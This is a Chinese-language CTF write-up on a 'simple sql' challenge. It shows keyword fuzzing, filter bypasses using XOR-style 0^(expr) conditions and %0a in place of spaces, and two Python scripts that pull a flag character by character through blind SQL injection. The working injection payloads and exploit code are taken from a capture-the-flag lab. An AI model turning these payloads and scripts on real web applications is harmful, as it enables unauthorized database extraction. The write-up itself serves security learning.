• #writeup# simple sql 简单的sql过滤绕过


    题目地址:http://polarlicht.xyz:8302/

    寻找注入点


    只有一个输入框,抓包看是post提交。


    依次输入

    • ' => bool(false)
    • and 1=1 => SQL Injection Checked.
    • 2 => 显示正常
    • 3 => Error Occured When Fetch Result.
      看起来有过滤,先fuzz下过滤了哪些关键词,利用intrude模块:
      (下载了一份fuzz dict: dictionary-master)
      使用 sql_fuzz.txt 字典

      可以看到,被过滤的关键字返回长度485。and/or/ord/union/xor/%20 都被过滤了。

    但是 ascii/regexp/substr等函数都没过滤。xor被过滤,但是 ^/|/= 没有过滤,所以可以构造一个true表达式:
    0^(2>1) => Hello this is Aurora
    0^(2>1) => Error Occured When Fetch Result.

    因此,注入点就是:
    0^(TRUE表达式) => 返回 Hello this is Auro
    0^(False表达式) => 返回 Error Occured When Fetch Result.

    构造注入语句

    这里以ascii为例,参考:https://www.anquanke.com/post/id/160584#h2-11

    ascii(mid((password)from(i)))>j

    这个语句中,涉及到mysql的 mid 和 ascii 函数

    mid函数的使用方法:
    正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
    MID(str,pos,len)
    这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,from(0)是没有值的。for(1)表示从改位置起一次就截取一个字符,本题for被过滤了。

    对应的构造select语句:

    select flag from flag //要返回str,要求flag表只有一行
    mid((select flag from flag )from(1))  // 获取第一个
    ascii(mid((select flag from flag )from(1)))=102 // ascii('flag') 默认只返回f的ascii值,f对应102
    ascii(mid((select%0aflag%0afrom%0aflag)from(1)))=102 // 绕过空格过滤  

    正常显示 id=1 的内容,说明答案的第一个字符是f。

    编写 exp 程序

    知道了注入点,剩下的就是自动化。

    先在python里面验证下,发现同样的payload,在burp可以,代码却不行。唯一的原因就在 %0a 这个编码的地方了。
    参考这篇文章:https://blog.csdn.net/M1mory/article/details/58309378

    加上代理,自己在burp可以看到requests发包的情况,还要加上 content-type 头部,否则无返回信息

    基于此,写出exp代码:

    import requests
    
    dict = "fabcdeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890{}"
    
    url = "http://polarlicht.xyz:8302/index.php"
    headers = {"Content-Type" : "application/x-www-form-urlencoded"}
    proxy = {"http" : 'http://127.0.0.1:8080'}
    
    ret = []
    for i in range(1,20):
        for c in dict:
            payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(str(i), str(ord(c)))
            r = requests.post(url, data=payload, headers=headers, proxies = proxy)
            if len(r.text) == 299:
                ret.append(c)
                print("[%d]%s=>%s	%s" % (i, c, len(r.text), payload))
    
    print(''.join(ret))

    这段代码速度太慢,用二分法进行代码优化:

    import requests
    
    url = "http://polarlicht.xyz:8302/index.php"
    headers = {"Content-Type" : "application/x-www-form-urlencoded"}
    proxy = {"http" : 'http://127.0.0.1:8080'}
    
    def check(i, index):
        payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(i, index)
        r = requests.post(url, data=payload, proxies=proxy, headers = headers)
        if r.text.find('Hello') >= 0:
            return 0
    
        payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))>{1})".format(i, index)
        r = requests.post(url, data=payload, proxies=proxy, headers=headers)
        if r.text.find('Hello') >= 0:
            return 1
    
        return -1
    
    # 二分实现
    mids = []
    for i in range(1, 20):
        # ascii 可显示字符是33到126
        start = 33
        end = 126
        mid = (start + end) // 2
    
    
        while start <= mid:
            if check(i, mid) == 0:
                mids.append(mid)
                break
    
            if check(i, mid) > 0:
                start = mid
                mid = (start + end) // 2
            else:
                end = mid
                mid = (start + end) // 2
            tmp = "start=>{0},mid={1},end={2}".format(start,mid,end)
        print(''.join(chr(x) for x in mids))





  • 相关阅读:
    测试同学都应该知道的断言知识...
    自己如何修改Airtest的源码
    如何选择适合你的图像识别算法
    如何测试基于Unity3D引擎的游戏
    Web前端-按钮点击效果(水波纹)
    C# Email 帮助类 EmailHelper
    WinForm 加载大数据时不闪烁的ListView
    LZZ磁力资源搜索4.2.2,整合多个站点,大部分资源都能搜到
    C#7.0新特性和语法糖详解
    6种css3 transform图片悬停动态效果
  • 原文地址:https://www.cnblogs.com/handt/p/12709747.html
Copyright © 2020-2023  润新知